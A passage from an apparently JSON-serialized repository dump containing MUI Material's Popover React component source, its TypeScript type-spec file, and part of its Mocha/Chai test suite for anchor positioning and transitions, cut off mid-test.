anchorReference,\n    elevation,\n    marginThreshold,\n    transformOrigin,\n    transitionDuration: transitionDurationProp,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  // Returns the top/left offset of the position\n  // to attach to on the anchor element (or body if none is provided)\n  const getAnchorOffset = React.useCallback(() => {\n    if (anchorReference === 'anchorPosition') {\n      if (process.env.NODE_ENV !== 'production') {\n        if (!anchorPosition) {\n          console.error(\n            'MUI: You need to provide a `anchorPosition` prop when using ' +\n              '<Popover anchorReference=\"anchorPosition\" />.',\n          );\n        }\n      }\n      return anchorPosition;\n    }\n\n    const resolvedAnchorEl = resolveAnchorEl(anchorEl);\n\n    // If an anchor element wasn't provided, just use the parent body element of this Popover\n    const anchorElement =\n      resolvedAnchorEl && resolvedAnchorEl.nodeType === 1\n        ? resolvedAnchorEl\n        : ownerDocument(paperRef.current).body;\n    const anchorRect = anchorElement.getBoundingClientRect();\n\n    if (process.env.NODE_ENV !== 'production') {\n      const box = anchorElement.getBoundingClientRect();\n\n      if (\n        isLayoutSupported() &&\n        box.top === 0 &&\n        box.left === 0 &&\n        box.right === 0 &&\n        box.bottom === 0\n      ) {\n        console.warn(\n          [\n            'MUI: The `anchorEl` prop provided to the component is invalid.',\n            'The anchor element should be part of the document layout.',\n            \"Make sure the element is present in the document or that it's not display none.\",\n          ].join('\\n'),\n        );\n      }\n    }\n\n    return {\n      top: anchorRect.top + getOffsetTop(anchorRect, anchorOrigin.vertical),\n      left: anchorRect.left + getOffsetLeft(anchorRect, anchorOrigin.horizontal),\n    };\n  }, [anchorEl, anchorOrigin.horizontal, anchorOrigin.vertical, anchorPosition, anchorReference]);\n\n  // Returns the base transform origin using the element\n  const getTransformOrigin = React.useCallback(\n    (elemRect) => {\n      return {\n        vertical: getOffsetTop(elemRect, transformOrigin.vertical),\n        horizontal: getOffsetLeft(elemRect, transformOrigin.horizontal),\n      };\n    },\n    [transformOrigin.horizontal, transformOrigin.vertical],\n  );\n\n  const getPositioningStyle = React.useCallback(\n    (element) => {\n      const elemRect = {\n        width: element.offsetWidth,\n        height: element.offsetHeight,\n      };\n\n      // Get the transform origin point on the element itself\n      const elemTransformOrigin = getTransformOrigin(elemRect);\n\n      if (anchorReference === 'none') {\n        return {\n          top: null,\n          left: null,\n          transformOrigin: getTransformOriginValue(elemTransformOrigin),\n        };\n      }\n\n      // Get the offset of the anchoring element\n      const anchorOffset = getAnchorOffset();\n\n      // Calculate element positioning\n      let top = anchorOffset.top - elemTransformOrigin.vertical;\n      let left = anchorOffset.left - elemTransformOrigin.horizontal;\n      const bottom = top + elemRect.height;\n      const right = left + elemRect.width;\n\n      // Use the parent window of the anchorEl if provided\n      const containerWindow = ownerWindow(resolveAnchorEl(anchorEl));\n\n      // Window thresholds taking required margin into account\n      const heightThreshold = containerWindow.innerHeight - marginThreshold;\n      const widthThreshold = containerWindow.innerWidth - marginThreshold;\n\n      // Check if the vertical axis needs shifting\n      if (marginThreshold !== null && top < marginThreshold) {\n        const diff = top - marginThreshold;\n\n        top -= diff;\n\n        elemTransformOrigin.vertical += diff;\n      } else if (marginThreshold !== null && bottom > heightThreshold) {\n        const diff = bottom - heightThreshold;\n\n        top -= diff;\n\n        elemTransformOrigin.vertical += diff;\n      }\n\n      if (process.env.NODE_ENV !== 'production') {\n        if (elemRect.height > heightThreshold && elemRect.height && heightThreshold) {\n          console.error(\n            [\n              'MUI: The popover component is too tall.',\n              `Some part of it can not be seen on the screen (${\n                elemRect.height - heightThreshold\n              }px).`,\n              'Please consider adding a `max-height` to improve the user-experience.',\n            ].join('\\n'),\n          );\n        }\n      }\n\n      // Check if the horizontal axis needs shifting\n      if (marginThreshold !== null && left < marginThreshold) {\n        const diff = left - marginThreshold;\n        left -= diff;\n        elemTransformOrigin.horizontal += diff;\n      } else if (right > widthThreshold) {\n        const diff = right - widthThreshold;\n        left -= diff;\n        elemTransformOrigin.horizontal += diff;\n      }\n\n      return {\n        top: `${Math.round(top)}px`,\n        left: `${Math.round(left)}px`,\n        transformOrigin: getTransformOriginValue(elemTransformOrigin),\n      };\n    },\n    [anchorEl, anchorReference, getAnchorOffset, getTransformOrigin, marginThreshold],\n  );\n\n  const [isPositioned, setIsPositioned] = React.useState(open);\n\n  const setPositioningStyles = React.useCallback(() => {\n    const element = paperRef.current;\n\n    if (!element) {\n      return;\n    }\n\n    const positioning = getPositioningStyle(element);\n\n    if (positioning.top !== null) {\n      element.style.setProperty('top', positioning.top);\n    }\n    if (positioning.left !== null) {\n      element.style.left = positioning.left;\n    }\n    element.style.transformOrigin = positioning.transformOrigin;\n    setIsPositioned(true);\n  }, [getPositioningStyle]);\n\n  React.useEffect(() => {\n    if (disableScrollLock) {\n      window.addEventListener('scroll', setPositioningStyles);\n    }\n    return () => window.removeEventListener('scroll', setPositioningStyles);\n  }, [anchorEl, disableScrollLock, setPositioningStyles]);\n\n  const handleEntering = () => {\n    setPositioningStyles();\n  };\n\n  const handleExited = () => {\n    setIsPositioned(false);\n  };\n\n  React.useEffect(() => {\n    if (open) {\n      setPositioningStyles();\n    }\n  });\n\n  React.useImperativeHandle(\n    action,\n    () =>\n      open\n        ? {\n            updatePosition: () => {\n              setPositioningStyles();\n            },\n          }\n        : null,\n    [open, setPositioningStyles],\n  );\n\n  React.useEffect(() => {\n    if (!open) {\n      return undefined;\n    }\n\n    const handleResize = debounce(() => {\n      setPositioningStyles();\n    });\n\n    const containerWindow = ownerWindow(resolveAnchorEl(anchorEl));\n    containerWindow.addEventListener('resize', handleResize);\n    return () => {\n      handleResize.clear();\n      containerWindow.removeEventListener('resize', handleResize);\n    };\n  }, [anchorEl, open, setPositioningStyles]);\n\n  let transitionDuration = transitionDurationProp;\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [TransitionSlot, transitionSlotProps] = useSlot('transition', {\n    elementType: Grow,\n    externalForwardedProps,\n    ownerState,\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onEntering: (element, isAppearing) => {\n        handlers.onEntering?.(element, isAppearing);\n        handleEntering();\n      },\n      onExited: (element) => {\n        handlers.onExited?.(element);\n        handleExited();\n      },\n    }),\n    additionalProps: {\n      appear: true,\n      in: open,\n    },\n  });\n\n  if (transitionDurationProp === 'auto' && !TransitionSlot.muiSupportAuto) {\n    transitionDuration = undefined;\n  }\n\n  // If the container prop is provided, use that\n  // If the anchorEl prop is provided, use its parent body element as the container\n  // If neither are provided let the Modal take care of choosing the container\n  const container =\n    containerProp || (anchorEl ? ownerDocument(resolveAnchorEl(anchorEl)).body : undefined);\n\n  const [RootSlot, { slots: rootSlotsProp, slotProps: rootSlotPropsProp, ...rootProps }] = useSlot(\n    'root',\n    {\n      ref,\n      elementType: PopoverRoot,\n      externalForwardedProps: {\n        ...externalForwardedProps,\n        ...other,\n      },\n      shouldForwardComponentProp: true,\n      additionalProps: {\n        slots: { backdrop: slots.backdrop },\n        slotProps: {\n          backdrop: mergeSlotProps(\n            typeof slotProps.backdrop === 'function'\n              ? slotProps.backdrop(ownerState)\n              : slotProps.backdrop,\n            { invisible: true },\n          ),\n        },\n        container,\n        open,\n      },\n      ownerState,\n      className: clsx(classes.root, className),\n    },\n  );\n\n  const [PaperSlot, paperProps] = useSlot('paper', {\n    ref: paperRef,\n    className: classes.paper,\n    elementType: PopoverPaper,\n    externalForwardedProps,\n    shouldForwardComponentProp: true,\n    additionalProps: {\n      elevation,\n      style: isPositioned ? undefined : { opacity: 0 },\n    },\n    ownerState,\n  });\n\n  return (\n    <RootSlot\n      {...rootProps}\n      {...(!isHostComponent(RootSlot) && {\n        slots: rootSlotsProp,\n        slotProps: rootSlotPropsProp,\n        disableScrollLock,\n      })}\n    >\n      <TransitionSlot {...transitionSlotProps} timeout={transitionDuration}>\n        <PaperSlot {...paperProps}>{children}</PaperSlot>\n      </TransitionSlot>\n    </RootSlot>\n  );\n});\n\nPopover.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * A ref for imperative actions.\n   * It currently only supports updatePosition() action.\n   */\n  action: refType,\n  /**\n   * An HTML element, [PopoverVirtualElement](https://mui.com/material-ui/react-popover/#virtual-element),\n   * or a function that returns either.\n   * It's used to set the position of the popover.\n   */\n  anchorEl: chainPropTypes(PropTypes.oneOfType([HTMLElementType, PropTypes.func]), (props) => {\n    if (props.open && (!props.anchorReference || props.anchorReference === 'anchorEl')) {\n      const resolvedAnchorEl = resolveAnchorEl(props.anchorEl);\n\n      if (resolvedAnchorEl && resolvedAnchorEl.nodeType === 1) {\n        const box = resolvedAnchorEl.getBoundingClientRect();\n\n        if (process.env.NODE_ENV !== 'production') {\n          if (\n            isLayoutSupported() &&\n            box.top === 0 &&\n            box.left === 0 &&\n            box.right === 0 &&\n            box.bottom === 0\n          ) {\n            return new Error(\n              [\n                'MUI: The `anchorEl` prop provided to the component is invalid.',\n                'The anchor element should be part of the document layout.',\n                \"Make sure the element is present in the document or that it's not display none.\",\n              ].join('\\n'),\n            );\n          }\n        }\n      } else {\n        return new Error(\n          [\n            'MUI: The `anchorEl` prop provided to the component is invalid.',\n            `It should be an Element or PopoverVirtualElement instance but it's \\`${resolvedAnchorEl}\\` instead.`,\n          ].join('\\n'),\n        );\n      }\n    }\n\n    return null;\n  }),\n  /**\n   * This is the point on the anchor where the popover's\n   * `anchorEl` will attach to. This is not used when the\n   * anchorReference is 'anchorPosition'.\n   *\n   * Options:\n   * vertical: [top, center, bottom];\n   * horizontal: [left, center, right].\n   * @default {\n   *   vertical: 'top',\n   *   horizontal: 'left',\n   * }\n   */\n  anchorOrigin: PropTypes.shape({\n    horizontal: PropTypes.oneOfType([\n      PropTypes.oneOf(['center', 'left', 'right']),\n      PropTypes.number,\n    ]).isRequired,\n    vertical: PropTypes.oneOfType([PropTypes.oneOf(['bottom', 'center', 'top']), PropTypes.number])\n      .isRequired,\n  }),\n  /**\n   * This is the position that may be used to set the position of the popover.\n   * The coordinates are relative to the application's client area.\n   */\n  anchorPosition: PropTypes.shape({\n    left: PropTypes.number.isRequired,\n    top: PropTypes.number.isRequired,\n  }),\n  /**\n   * This determines which anchor prop to refer to when setting\n   * the position of the popover.\n   * @default 'anchorEl'\n   */\n  anchorReference: PropTypes.oneOf(['anchorEl', 'anchorPosition', 'none']),\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * An HTML element, component instance, or function that returns either.\n   * The `container` will passed to the Modal component.\n   *\n   * By default, it uses the body of the anchorEl's top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    HTMLElementType,\n    PropTypes.func,\n  ]),\n  /**\n   * Disable the scroll lock behavior.\n   * @default false\n   */\n  disableScrollLock: PropTypes.bool,\n  /**\n   * The elevation of the popover.\n   * @default 8\n   */\n  elevation: integerPropType,\n  /**\n   * Specifies how close to the edge of the window the popover can appear.\n   * If null, the popover will not be constrained by the window.\n   * @default 16\n   */\n  marginThreshold: PropTypes.number,\n  /**\n   * Callback fired when the component requests to be closed.\n   * The `reason` parameter can optionally be used to control the response to `onClose`.\n   */\n  onClose: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    backdrop: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    paper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    backdrop: PropTypes.elementType,\n    paper: PropTypes.elementType,\n    root: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * This is the point on the popover which\n   * will attach to the anchor's origin.\n   *\n   * Options:\n   * vertical: [top, center, bottom, x(px)];\n   * horizontal: [left, center, right, x(px)].\n   * @default {\n   *   vertical: 'top',\n   *   horizontal: 'left',\n   * }\n   */\n  transformOrigin: PropTypes.shape({\n    horizontal: PropTypes.oneOfType([\n      PropTypes.oneOf(['center', 'left', 'right']),\n      PropTypes.number,\n    ]).isRequired,\n    vertical: PropTypes.oneOfType([PropTypes.oneOf(['bottom', 'center', 'top']), PropTypes.number])\n      .isRequired,\n  }),\n  /**\n   * Set to 'auto' to automatically calculate transition time based on height.\n   * @default 'auto'\n   */\n  transitionDuration: PropTypes.oneOfType([\n    PropTypes.oneOf(['auto']),\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nexport default Popover;\n"
  },
  {
    "path": "packages/mui-material/src/Popover/Popover.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport { mergeSlotProps } from '@mui/material/utils';\nimport { Popover, PaperProps, PopoverProps } from '@mui/material';\n\nconst paperProps: PaperProps<'span'> = {\n  component: 'span',\n  onClick: (event) => {\n    expectType<React.MouseEvent<HTMLSpanElement, MouseEvent>, typeof event>(event);\n  },\n};\nfunction Test() {\n  return (\n    <React.Fragment>\n      <Popover open />;\n      <Popover open slotProps={{ paper: paperProps }} />;\n      <Popover\n        open\n        slotProps={{\n          // @ts-expect-error — unknown props should be rejected\n          transition: { randomInvalidProp: 'test' },\n        }}\n      />\n      ;\n    </React.Fragment>\n  );\n}\n\n<Popover\n  open\n  slotProps={{\n    paper: {\n      sx: (theme) => ({ backgroundColor: theme.palette.primary.main }),\n    },\n  }}\n/>;\n\nfunction Custom(props: PopoverProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Popover\n      slotProps={{\n        ...slotProps,\n        transition: (ownerState) => {\n          const transitionProps =\n            typeof slotProps?.transition === 'function'\n              ? slotProps.transition(ownerState)\n              : slotProps?.transition;\n          return {\n            ...transitionProps,\n            onExited: (node) => {\n              transitionProps?.onExited?.(node);\n            },\n          };\n        },\n      }}\n      {...other}\n    >\n      test\n    </Popover>\n  );\n}\n\nfunction Custom2(props: PopoverProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Popover\n      slotProps={{\n        ...slotProps,\n        transition: mergeSlotProps(slotProps?.transition, {\n          onExited: (node) => {\n            expectType<HTMLElement, typeof node>(node);\n          },\n        }),\n      }}\n      {...other}\n    >\n      test\n    </Popover>\n  );\n}\n\nfunction TestAnchorElementFunctionReturnType() {\n  const buttonRef = React.useRef<HTMLButtonElement>(null);\n\n  return <Popover open anchorEl={() => buttonRef.current} />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/Popover/Popover.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy, stub, match } from 'sinon';\nimport { act, createRenderer, reactMajor, screen } from '@mui/internal-test-utils';\nimport PropTypes from 'prop-types';\nimport Modal, { modalClasses } from '@mui/material/Modal';\nimport Paper, { paperClasses } from '@mui/material/Paper';\nimport Popover, { popoverClasses as classes, PopoverPaper } from '@mui/material/Popover';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport { getOffsetLeft, getOffsetTop } from './Popover';\nimport useForkRef from '../utils/useForkRef';\nimport styled from '../styles/styled';\nimport describeConformance from '../../test/describeConformance';\n\nconst FakePaper = React.forwardRef(function FakeWidthPaper(props, ref) {\n  const handleMocks = React.useCallback((paperInstance) => {\n    if (paperInstance) {\n      // For jsdom\n      Object.defineProperty(paperInstance, 'offsetWidth', { value: 0 });\n      Object.defineProperty(paperInstance, 'offsetHeight', { value: 0 });\n    }\n  }, []);\n  const handleRef = useForkRef(ref, handleMocks);\n\n  return (\n    <div\n      tabIndex={-1}\n      ref={handleRef}\n      style={{\n        width: 0,\n        height: 0,\n      }}\n      {...props}\n    />\n  );\n});\n\nconst ReplacementPaper = styled(Paper, {\n  name: 'ReplacementPaper',\n  slot: 'Paper',\n})({\n  backgroundColor: 'red',\n});\n\nconst CustomTransition = React.forwardRef(function CustomTransition(\n  { in: inProp, appear, onEnter, onEntering, onExited, ownerState, ...props },\n  ref,\n) {\n  return <div data-testid=\"custom\" ref={ref} {...props} />;\n});\n\ndescribe('<Popover />', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  let defaultAnchorEl;\n  beforeAll(() => {\n    defaultAnchorEl = document.createElement('div');\n    document.body.appendChild(defaultAnchorEl);\n  });\n  afterAll(() => {\n    document.body.removeChild(defaultAnchorEl);\n    defaultAnchorEl = null;\n  });\n\n  describeConformance(<Popover anchorEl={() => defaultAnchorEl} open />, () => ({\n    classes,\n    inheritComponent: Modal,\n    render,\n    muiName: 'MuiPopover',\n    refInstanceof: window.HTMLDivElement,\n    testDeepOverrides: { slotName: 'paper', slotClassName: classes.paper },\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      paper: {\n        expectedClassName: classes.paper,\n        testWithComponent: React.forwardRef((props, ref) => (\n          <ReplacementPaper ref={ref} {...props} data-testid=\"custom\" />\n        )),\n      },\n      backdrop: {\n        expectedClassName: modalClasses.backdrop,\n        testWithElement: React.forwardRef(({ invisible, ownerState, ...props }, ref) => (\n          <i ref={ref} {...props} />\n        )),\n      },\n      transition: {\n        expectedClassName: null,\n        testWithComponent: CustomTransition,\n        testWithElement: CustomTransition,\n      },\n    },\n    skip: [\n      'rootClass', // portal, can't determine the root\n      'componentProp',\n      'themeDefaultProps', // portal, can't determine the root\n      'themeStyleOverrides', // portal, can't determine the root\n      'themeVariants',\n    ],\n  }));\n\n  describe('root node', () => {\n    it('should render a Modal with an invisible backdrop as the root node', () => {\n      function TestBackdrop(props) {\n        const { open, invisible } = props;\n        if (!open) {\n          return null;\n        }\n        return <div data-testid=\"backdrop\" data-invisible={invisible} />;\n      }\n      render(\n        <Popover\n          open\n          anchorEl={defaultAnchorEl}\n          slotProps={{\n            root: {\n              slots: {\n                backdrop: TestBackdrop,\n              },\n            },\n          }}\n        >\n          <div />\n        </Popover>,\n      );\n\n      expect(screen.getByTestId('backdrop')).to.have.attribute('data-invisible', 'true');\n    });\n\n    it('should only render its children when open', () => {\n      const { setProps } = render(\n        <Popover open={false} anchorEl={defaultAnchorEl}>\n          <div data-testid=\"children\" />\n        </Popover>,\n      );\n\n      expect(screen.queryByTestId('children')).to.equal(null);\n\n      setProps({ open: true });\n\n      expect(screen.getByTestId('children')).not.to.equal(null);\n    });\n\n    it('hide its children immediately when closing but transition them out', () => {\n      const { setProps } = render(\n        <Popover open anchorEl={defaultAnchorEl} transitionDuration={1974}>\n          <div data-testid=\"children\" />\n        </Popover>,\n      );\n\n      setProps({ open: false });\n\n      expect(screen.getByTestId('children')).toBeInaccessible();\n\n      clock.tick(1974);\n\n      expect(screen.queryByTestId('children')).to.equal(null);\n    });\n\n    describe('getOffsetTop', () => {\n      it('should return vertical when vertical is a number', () => {\n        const vertical = 1;\n        const offsetTop = getOffsetTop('', vertical);\n        expect(offsetTop).to.equal(vertical);\n      });\n\n      it(\"should return half of rect.height if vertical is 'center'\", () => {\n        const vertical = 'center';\n        const rect = { height: 1 };\n        const offsetTop = getOffsetTop(rect, vertical);\n        expect(offsetTop).to.equal(rect.height / 2);\n      });\n\n      it(\"should return rect.height if vertical is 'bottom'\", () => {\n        const vertical = 'bottom';\n        const rect = { height: 1 };\n        const offsetTop = getOffsetTop(rect, vertical);\n        expect(offsetTop).to.equal(rect.height);\n      });\n\n      it('should return zero if vertical is something else', () => {\n        const vertical = undefined;\n        const rect = { height: 1 };\n        const offsetTop = getOffsetTop(rect, vertical);\n        expect(offsetTop).to.equal(0);\n      });\n    });\n\n    describe('getOffsetLeft', () => {\n      it('should return horizontal when horizontal is a number', () => {\n        const horizontal = 1;\n        const offsetLeft = getOffsetLeft('', horizontal);\n        expect(offsetLeft).to.equal(horizontal);\n      });\n\n      it(\"should return half of rect.width if horizontal is 'center'\", () => {\n        const horizontal = 'center';\n        const rect = { width: 1 };\n        const offsetLeft = getOffsetLeft(rect, horizontal);\n        expect(offsetLeft).to.equal(rect.width / 2);\n      });\n\n      it(\"should return rect.width if horizontal is 'right'\", () => {\n        const horizontal = 'right';\n        const rect = { width: 1 };\n        const offsetLeft = getOffsetLeft(rect, horizontal);\n        expect(offsetLeft).to.equal(rect.width);\n      });\n\n      it('should return zero if horizontal is something else', () => {\n        const horizontal = undefined;\n        const rect = { width: 1 };\n        const offsetLeft = getOffsetLeft(rect, horizontal);\n        expect(offsetLeft).to.equal(0);\n      });\n    });\n  });\n\n  describe('transition', () => {\n    it('appears on mount', () => {\n      const handleEnter = spy();\n      render(\n        <Popover\n          anchorEl={defaultAnchorEl}\n          open\n          slotProps={{ transition: { onEnter: handleEnter } }}\n        >\n          <div />\n        </Popover>,\n      );\n\n      expect(handleEnter.callCount).to.equal(\n        // onEnter is called on mount which is run twice with Strict Effects\n        reactMajor >= 18 ? 2 : 1,\n      );\n    });\n\n    it('should fire Popover transition event callbacks', () => {\n      const handleEnter = spy();\n      const handleEntering = spy();\n      const handleEntered = spy();\n      const handleExit = spy();\n      const handleExiting = spy();\n      const handleExited = spy();\n\n      const { setProps } = render(\n        <Popover\n          anchorEl={defaultAnchorEl}\n          open\n          transitionDuration={0}\n          slotProps={{\n            transition: {\n              onEnter: handleEnter,\n              onEntering: handleEntering,\n              onEntered: handleEntered,\n              onExit: handleExit,\n              onExiting: handleExiting,\n              onExited: handleExited,\n            },\n          }}\n        >\n          <div />\n        </Popover>,\n      );\n\n      expect({\n        onEnter: handleEnter.callCount,\n        onEntered: handleEntered.callCount,\n        onEntering: handleEntering.callCount,\n        onExit: handleExit.callCount,\n        onExited: handleExited.callCount,\n        onExiting: handleExiting.callCount,\n      }).to.deep.equal({\n        // onEnter is called on mount which is run twice with Strict Effects\n        onEnter: reactMajor >= 18 ? 2 : 1,\n        onEntering: 1,\n        onEntered: 0,\n        onExit: 0,\n        onExiting: 0,\n        onExited: 0,\n      });\n\n      clock.tick(0);\n\n      expect({\n        onEnter: handleEnter.callCount,\n        onEntered: handleEntered.callCount,\n        onEntering: handleEntering.callCount,\n        onExit: handleExit.callCount,\n        onExited: handleExited.callCount,\n        onExiting: handleExiting.callCount,\n      }).to.deep.equal({\n        // onEnter is called on mount which is run twice with Strict Effects\n        onEnter: reactMajor >= 18 ? 2 : 1,\n        onEntering: 1,\n        onEntered: 1,\n        onExit: 0,\n        onExiting: 0,\n        onExited: 0,\n      });\n\n      setProps({ open: false });\n\n      expect({\n        onEnter: handleEnter.callCount,\n        onEntered: handleEntered.callCount,\n        onEntering: handleEntering.callCount,\n        onExit: handleExit.callCount,\n        onExited: handleExited.callCount,\n        onExiting: handleExiting.callCount,\n      }).to.deep.equal({\n        // onEnter is called on mount which is run twice with Strict Effects\n        onEnter: reactMajor >= 18 ? 2 : 1,\n        onEntering: 1,\n        onEntered: 1,\n        onExit: 1,\n        onExiting: 1,\n        onExited: 0,\n      });\n\n      clock.tick(0);\n\n      expect({\n        onEnter: handleEnter.callCount,\n        onEntered: handleEntered.callCount,\n        onEntering: handleEntering.callCount,\n        onExit: handleExit.callCount,\n        onExited: handleExited.callCount,\n        onExiting: handleExiting.callCount,\n      }).to.deep.equal({\n        // onEnter is called on mount which is run twice with Strict Effects\n        onEnter: reactMajor >= 18 ? 2 : 1,\n        onEntering: 1,\n        onEntered: 1,\n        onExit: 1,\n        onExiting: 1,\n        onExited: 1,\n      });\n    });\n  });\n\n  describe('paper', () => {\n    it('should have the paper class', () => {\n      render(\n        <Popover anchorEl={defaultAnchorEl} open slotProps={{ paper: { 'data-testid': 'paper' } }}>\n          <div />\n        </Popover>,\n      );\n\n      expect(screen.getByTestId('paper')).to.have.class(classes.paper);\n    });\n\n    it('should have a elevation prop passed down', () => {\n      const { setProps } = render(\n        <Popover anchorEl={defaultAnchorEl} open slotProps={{ paper: { 'data-testid': 'paper' } }}>\n          <div />\n        </Popover>,\n      );\n\n      expect(screen.getByTestId('paper')).to.have.class(paperClasses.elevation8);\n\n      setProps({ slotProps: { paper: { 'data-testid': 'paper', elevation: 16 } } });\n\n      expect(screen.getByTestId('paper')).to.have.class(paperClasses.elevation16);\n    });\n  });\n\n  describe('prop: slotProps.paper', () => {\n    describe('ref', () => {\n      it('should position popover correctly', () => {\n        const handleEntering = spy();\n        render(\n          <Popover\n            anchorEl={defaultAnchorEl}\n            open\n            slotProps={{\n              paper: { 'data-testid': 'Popover', ref: () => null },\n              transition: { onEntering: handleEntering },\n            }}\n          >\n            <div />\n          </Popover>,\n        );\n        expect(handleEntering.args[0][0]).toHaveInlineStyle({ top: '16px', left: '16px' });\n      });\n    });\n\n    describe('className', () => {\n      it('should add the className to the paper', () => {\n        const className = 'MyPaperClassName';\n        render(\n          <Popover\n            anchorEl={defaultAnchorEl}\n            open\n            slotProps={{ paper: { 'data-testid': 'paper', className } }}\n          >\n            <div />\n          </Popover>,\n        );\n\n        expect(screen.getByTestId('paper')).to.have.class(className);\n      });\n    });\n  });\n\n  describe('transition lifecycle', () => {\n    describe('handleEntering(element)', () => {\n      it('should set the inline styles for the enter phase', () => {\n        const handleEntering = spy();\n        const { setProps } = render(\n          <Popover\n            anchorEl={defaultAnchorEl}\n            open={false}\n            slotProps={{ transition: { onEntering: handleEntering } }}\n          >\n            <div />\n          </Popover>,\n        );\n\n        setProps({\n          open: true,\n        });\n\n        const element = handleEntering.args[0][0];\n\n        expect(element.style.top === '16px' && element.style.left === '16px').to.equal(true);\n        expect(element.style.transformOrigin).to.match(/-16px -16px( 0px)?/);\n      });\n    });\n\n    describe('paper styles', () => {\n      it('should have opacity 1 only after onEntering has been called', () => {\n        const onEnteringSpy = spy();\n        const paperRenderSpy = spy(PopoverPaper, 'render');\n        const { setProps } = render(\n          <Popover\n            anchorEl={defaultAnchorEl}\n            slotProps={{\n              transition: { onEntering: onEnteringSpy },\n            }}\n            open={false}\n          >\n            <div />\n          </Popover>,\n        );\n\n        setProps({ open: true });\n\n        expect(\n          paperRenderSpy\n            .withArgs(match({ style: { opacity: 1 } }))\n            .firstCall.calledAfter(onEnteringSpy.lastCall),\n        ).to.equal(true);\n      });\n    });\n  });\n\n  describe('prop: anchorEl', () => {\n    it('should accept a function', () => {\n      const anchorElSpy = spy();\n      render(\n        <Popover open={false} anchorEl={anchorElSpy}>\n          <div />\n        </Popover>,\n      );\n      expect(anchorElSpy.callCount).to.be.greaterThanOrEqual(1);\n    });\n\n    it('should accept a virtual element', () => {\n      const top = 100;\n      const left = 300;\n      const virtualElement = {\n        nodeType: 1,\n        getBoundingClientRect: () => ({\n          x: 0,\n          y: 0,\n          top,\n          left,\n          bottom: 0,\n          right: 0,\n          height: 0,\n          width: 0,\n        }),\n      };\n      render(\n        <Popover\n          open\n          anchorEl={virtualElement}\n          transitionDuration={0}\n          slotProps={{ paper: { 'data-testid': 'paper' } }}\n        >\n          <div />\n        </Popover>,\n      );\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({\n        top: `${top}px`,\n        left: `${left}px`,\n      });\n    });\n  });\n\n  describe('positioning on an anchor', () => {\n    let anchorEl;\n\n    function openPopover(anchorOrigin) {\n      render(\n        <Popover\n          anchorEl={anchorEl}\n          anchorOrigin={anchorOrigin}\n          open\n          transitionDuration={0}\n          slotProps={{ paper: { 'data-testid': 'paper' } }}\n        >\n          <div />\n        </Popover>,\n      );\n      clock.tick(0);\n    }\n\n    beforeEach(() => {\n      anchorEl = document.createElement('div');\n\n      anchorEl.style.width = '50px';\n      anchorEl.style.height = '50px';\n      anchorEl.style.position = 'absolute';\n      anchorEl.style.top = '100px';\n      anchorEl.style.left = '100px';\n\n      document.body.appendChild(anchorEl);\n    });\n\n    afterEach(() => {\n      document.body.removeChild(anchorEl);\n    });\n\n    it('should be positioned over the top left of the anchor', () => {\n      openPopover({ vertical: 'top', horizontal: 'left' });\n\n      const anchorRect = anchorEl.getBoundingClientRect();\n      const top = anchorRect.top <= 16 ? 16 : anchorRect.top;\n      const left = anchorRect.left <= 16 ? 16 : anchorRect.left;\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({ top: `${top}px`, left: `${left}px` });\n    });\n\n    it('should be positioned over the center left of the anchor', () => {\n      openPopover({ vertical: 'center', horizontal: 'left' });\n\n      const anchorRect = anchorEl.getBoundingClientRect();\n      const anchorTop = anchorRect.top + anchorRect.height / 2;\n      const top = anchorTop <= 16 ? 16 : anchorTop;\n      const left = anchorRect.left <= 16 ? 16 : anchorRect.left;\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({ top: `${top}px`, left: `${left}px` });\n    });\n\n    it('should be positioned over the bottom left of the anchor', () => {\n      openPopover({ vertical: 'bottom', horizontal: 'left' });\n\n      const anchorRect = anchorEl.getBoundingClientRect();\n      const top = anchorRect.bottom <= 16 ? 16 : anchorRect.bottom;\n      const left = anchorRect.left <= 16 ? 16 : anchorRect.left;\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({ top: `${top}px`, left: `${left}px` });\n    });\n\n    it('should be positioned over the center center of the anchor', () => {\n      openPopover({ vertical: 'center', horizontal: 'center' });\n\n      const anchorRect = 